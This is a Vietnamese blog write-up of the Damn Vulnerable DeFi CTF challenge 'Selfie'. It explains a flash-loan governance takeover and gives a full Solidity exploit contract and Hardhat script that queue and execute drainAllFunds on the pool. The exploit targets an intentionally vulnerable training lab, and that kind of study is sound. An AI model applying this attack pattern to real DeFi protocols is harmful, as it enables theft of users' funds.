Skip to content

Damn Vulnerable Defi writeups: 06 - Selfie

Posted on:March 15, 2022

Challenge #6 - Selfie

Nhiệm vụ: Lại có một pool nữa cho phép thực hiện flash loan với DVT token. Pool có một cơ chế quản trị trông rất cool. Trong pool có 1.5M token. Mục tiêu của ta là lấy hết đống token đó.

Phân tích

Pool được quản trị bởi contract SimpleGovernance.

Để prosal một action, user sẽ phải có đủ vote thì mới có quyền tạo:

function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
    require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");
    require(receiver != address(this), "Cannot queue actions that affect Governance");

và điều kiện để đủ vote chính là lượng token governance của user phải quá bán của total supply

function _hasEnoughVotes(address account) private view returns (bool) {
    uint256 balance = governanceToken.getBalanceAtLastSnapshot(account);
    uint256 halfTotalSupply = governanceToken.getTotalSupplyAtLastSnapshot() / 2;
    return balance > halfTotalSupply;
}

ta có ý tưởng vượt qua điều kiện này bằng cách vay flash loan một lượng lớn token trước khi propose action.

Contract governance còn một lỗ hổng nữa rất lớn, đấy chính là hạn chế action được thực hiện trên chính contract governance, nhưng lại không hạn chế thực hiện action trên pool, kể cả hàm rút tiền. Đúng lý ra hàm này phải được thiết kế riêng và chỉ những người có thẩm quyền mới được phép thực hiện.

require(receiver !=
  address(this), "Cannot queue actions that affect Governance");

Các bước thực hiện:

Exploit

Chuẩn bị contract khai thác như sau:

contract RektSelfie {
    SimpleGovernance public immutable gov;
    SelfiePool public immutable pool;

    constructor(address _gov, address _pool) {
        gov = SimpleGovernance(_gov);
        pool = SelfiePool(_pool);
    }

    function rekt() external {
        pool.flashLoan(1500000 ether);
    }

    function receiveTokens(address tokenAddress, uint256 amount) external {
        DamnValuableTokenSnapshot token = DamnValuableTokenSnapshot(
            tokenAddress
        );
        token.snapshot();
        gov.queueAction(
            address(pool),
            abi.encodeWithSignature("drainAllFunds(address)", tx.origin),
            0
        );

        token.transfer(address(pool), amount);
    }
}

Mỗi action sẽ bị delay một khoảng thời gian nhất định trước khi chúng được thực sự thực hiện:

function _canBeExecuted(uint256 actionId) private view returns (bool) {
    GovernanceAction memory actionToExecute = actions[actionId];
    return (
        actionToExecute.executedAt == 0 &&
        (block.timestamp - actionToExecute.proposedAt >= ACTION_DELAY_IN_SECONDS)
    );
}

tuy nhiên điều này không ảnh hưởng gì lắm, ta chỉ cần chờ là được.

Tiến hành deloy và propose action, sau đó 2 ngày thì rút tiền:

it("Exploit", async function () {
  /** CODE YOUR EXPLOIT HERE */
  const RektSelfie = await ethers.getContractFactory("RektSelfie", attacker);
  this.rekt = await RektSelfie.deploy(
    this.governance.address,
    this.pool.address
  );
  await this.rekt.connect(attacker).rekt();
  await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]); // 2 days
  await this.governance.connect(attacker).executeAction(1);
});

Check lại kết quả

  [Challenge] Selfie
Exploit (256ms)


  1 passing (3s)

All done!